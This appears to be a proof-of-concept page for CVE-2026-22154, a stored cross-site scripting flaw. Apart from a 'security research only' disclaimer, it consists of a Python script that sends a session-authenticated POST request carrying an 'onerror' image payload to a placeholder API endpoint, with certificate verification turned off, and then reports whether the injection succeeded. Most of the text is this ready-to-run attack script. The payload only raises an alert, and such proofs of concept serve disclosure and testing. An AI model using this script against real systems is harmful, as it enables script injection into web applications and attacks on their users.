PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Proof of Concept for CVE-2026-22154
# This script demonstrates how an authenticated attacker might trigger the Stored XSS.

TARGET_URL = "https://<target-ip>/api/endpoint"
SESSION_COOKIE = "<valid_session_cookie>"

# Malicious payload to be stored
XSS_PAYLOAD = "<img src=x onerror=alert('XSS')>"

headers = {
    "Cookie": f"session={SESSION_COOKIE}",
    "Content-Type": "application/json"
}

data = {
    "field_name": "Incident Title",
    "description": XSS_PAYLOAD  # Injecting payload into a vulnerable field
}

try:
    response = requests.post(TARGET_URL, json=data, headers=headers, verify=False)
    if response.status_code == 200:
        print("[+] Payload injected successfully.")
        print("[+] Check the corresponding page to verify XSS execution.")
    else:
        print(f"[-] Injection failed. Status code: {response.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")
